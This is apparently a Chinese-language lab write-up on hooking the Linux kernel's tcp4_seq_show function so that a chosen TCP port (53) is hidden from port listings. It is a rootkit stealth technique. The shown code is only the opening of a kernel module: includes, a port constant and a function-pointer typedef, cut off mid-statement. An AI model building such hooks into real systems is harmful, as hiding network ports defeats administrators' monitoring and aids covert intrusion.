一、实验目的
修改linux内核读取tcp端口所使用的函数调用tcp4_seq_show,让其指向自己的函数,用于隐藏指定的端口号。
使用的linux内核版本如下:
二、实验代码
#include <linux/module.h>
#include <linux/kallsyms.h>
#include <linux/kernel.h>
#include <linux/unistd.h>
#include <linux/string.h>
#include <linux/seq_file.h>
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("Access non-exported symbols");
MODULE_AUTHOR("Tzyy");
#define TMPSZ 150
#define PORT_TO_HIDE 53 //想要隐藏的目标端口
struct seq_operations *tcp4_seq_ops_ptr = NULL;
typedef int (*tcp4_seq_show_ptr) (struct seq_file *m, void *v);
tcp4_seq_show_ptr old_tcp4_seq_show = NULL